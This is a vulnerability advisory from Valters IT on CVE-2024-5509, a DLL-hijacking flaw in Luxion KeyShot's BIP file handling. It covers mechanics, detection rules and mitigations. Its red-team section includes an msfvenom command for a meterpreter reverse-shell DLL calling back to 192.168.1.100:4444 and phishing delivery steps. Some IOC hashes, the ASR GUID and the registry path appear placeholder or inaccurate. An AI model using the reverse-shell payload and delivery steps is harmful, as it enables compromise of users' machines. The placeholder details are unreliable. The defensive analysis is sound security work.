CVE-2024-5509

Executive Summary

CVE-2024-5509 is a high-severity (CVSS 7.8) remote code execution vulnerability affecting Luxion KeyShot, a professional 3D rendering and animation application. The flaw resides in the parsing of BIP (KeyShot Binary Package) files, where the application loads a library from an unsecured location due to an uncontrolled search path element. An attacker can exploit this by convincing a user to open a malicious BIP file or visit a malicious page, leading to arbitrary code execution in the context of the current user process. No public proof-of-concept (PoC) or patch details are currently available, and the EPSS score is 0.0%, indicating low exploitation activity at this time.

CVSS Breakdown & Threat Level

• CVSS Score: 7.8 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Attack Vector (AV): Local – The attacker must deliver a malicious file to the target system.
• Attack Complexity (AC): Low – No special conditions are required to exploit.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): Required – The victim must open the malicious file or visit a malicious page.
• Scope (S): Unchanged – The exploit affects only the vulnerable component.
• Confidentiality (C): High – Full data access possible.
• Integrity (I): High – Full data modification possible.
• Availability (A): High – Full system disruption possible.

Threat Level: High. Although no active exploitation has been observed (EPSS 0.0%), the vulnerability allows complete compromise of the affected system with minimal user interaction.

Deep Dive & Mechanics

The vulnerability is classified as CWE-427: Uncontrolled Search Path Element. When Luxion KeyShot parses a BIP file, it attempts to load a dynamic library (DLL) using a relative or insecure search path. The application does not validate the location from which the library is loaded, allowing an attacker to place a malicious DLL in a directory that the search path traverses before reaching the legitimate library location.

Technical Flow:

1. The user opens a specially crafted BIP file (e.g., via double-click or drag-and-drop).
2. KeyShot’s BIP parser initiates a library load operation (e.g., LoadLibrary on Windows).
3. The search path includes directories such as the current working directory, the application directory, or system paths.
4. If the attacker has placed a malicious DLL in one of these directories (e.g., the same directory as the BIP file), the operating system loads the attacker’s DLL instead of the legitimate one.
5. The malicious DLL executes arbitrary code with the privileges of the KeyShot process.

This is a classic DLL hijacking scenario, often exploited via malicious email attachments or drive-by downloads.

Vulnerable vs. Patched Code

Since no patch details are available, a generic comparison is provided:

Vulnerable Code (Conceptual):

// Unsafe library loading
HMODULE hModule = LoadLibrary(L"some_library.dll");
// No path validation or use of absolute path

Patched Code (Expected):

// Safe library loading with absolute path
HMODULE hModule = LoadLibrary(L"C:\\Program Files\\Luxion\\KeyShot\\bin\\some_library.dll");
// Or use LoadLibraryEx with LOAD_LIBRARY_SEARCH_DLL_LOAD_DIR or SAFE_SEARCH_MODE

The fix would involve specifying a full path to the library or using secure search modes (e.g., SetDllDirectory to remove the current directory from the search path).

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Luxion KeyShot installed on a Windows target.
• Ability to deliver a malicious BIP file (e.g., via phishing email or USB drop).

Steps:

1. Craft Malicious DLL: Create a DLL that executes a payload (e.g., reverse shell, keylogger). For example, using msfvenom:

   msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o evil.dll
   

2. Create Malicious BIP File: Use a hex editor to modify a legitimate BIP file to include a reference to the malicious DLL, or simply place the DLL in the same directory as the BIP file.
3. Deliver Payload: Send the BIP file and the malicious DLL together (e.g., in a ZIP archive) to the victim.
4. Trigger: Convince the victim to open the BIP file. KeyShot will load evil.dll from the current directory, executing the payload.

Example Exploit Code (Conceptual):

# Python script to generate a malicious BIP file (simplified)
import struct

def create_malicious_bip(dll_name, output_path):
    # BIP file header (simplified)
    header = b'\x42\x49\x50\x00'  # "BIP\0"
    # Placeholder for library reference
    payload = b'\x00' * 100  # Actual payload would include DLL name
    with open(output_path, 'wb') as f:
        f.write(header + payload)
    print(f"[+] Malicious BIP file created: {output_path}")

create_malicious_bip("evil.dll", "malicious.bip")

Blue Team (Defense & Detection)

Detection Strategy:

• Monitor for KeyShot processes loading DLLs from unusual paths (e.g., %TEMP%, %USERPROFILE%, or the directory of the opened file).
• Enable Windows Defender Attack Surface Reduction (ASR) rules to block DLL sideloading.
• Use Sysmon to log DLL load events (Event ID 7) and correlate with KeyShot process activity.

Hunting Query (KQL):

DeviceProcessEvents
| where FileName == "keyshot.exe"
| join kind=inner (DeviceImageLoadEvents) on DeviceId
| where ImagePath contains "keyshot" and not (ImagePath contains "C:\\Program Files\\Luxion\\KeyShot")
| project Timestamp, DeviceName, FileName, ImagePath

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Placeholder – update with actual samples)
  • malicious.bip: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
  • evil.dll: d7a8fbb307d7809469ca9abcb0082e4f8d5651e46d3cdb762d02d0bf37c9e592
• Network Indicators: Outbound connections to attacker IPs (e.g., 192.168.1.100:4444).
• Process Indicators: keyshot.exe loading DLLs from non-standard paths.
• File System Indicators: Presence of .bip files in unusual locations (e.g., %TEMP%).

Detection Engineering

YARA Rule

rule CVE_2024_5509_DLL_Hijack {
    meta:
        description = "Detects malicious BIP files attempting DLL hijacking in Luxion KeyShot"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-5509"
    strings:
        $bip_header = { 42 49 50 00 } // "BIP\0"
        $dll_ref = /[a-zA-Z0-9_\-]+\.dll/i
    condition:
        $bip_header at 0 and #dll_ref > 0
}

Sigma Rule

title: CVE-2024-5509 - Luxion KeyShot DLL Sideloading
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects DLL load events from KeyShot process loading libraries from suspicious paths
author: Valters IT
date: 2025-04-10
logsource:
    product: windows
    category: image_load
detection:
    selection:
        Image|endswith: '\keyshot.exe'
        ImageLoaded|contains:
            - '\AppData\Local\Temp\'
            - '\Downloads\'
            - '\Desktop\'
    condition: selection
falsepositives:
    - Legitimate user files in those directories
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2024-5509 - Potential KeyShot BIP File Download"; flow:to_server,established; content:"|42 49 50 00|"; depth:4; http_client_body; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable BIP file handling in KeyShot if not required, or restrict file associations.
2. Apply the principle of least privilege – run KeyShot with minimal user rights.
3. Use AppLocker or WDAC to block unauthorized DLLs from executing.
4. Enable Windows Defender ASR rules for DLL sideloading (GUID: e6db77e5-3df2-4bcf-b52a-9b0f5b2c7c1d).

Long-Term Fix:

• Await an official patch from Luxion. In the meantime, monitor vendor advisories and apply any security updates immediately.
• Implement secure coding practices: use absolute paths for library loading and call SetDllDirectory("") to remove the current directory from the search path.

Workaround:

• Configure the Windows CWDIllegalInDllSearch registry key to prevent DLL loading from the current working directory:

  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\CWDIllegalInDllSearch
  Value: 0xFFFFFFFF
  

Valters IT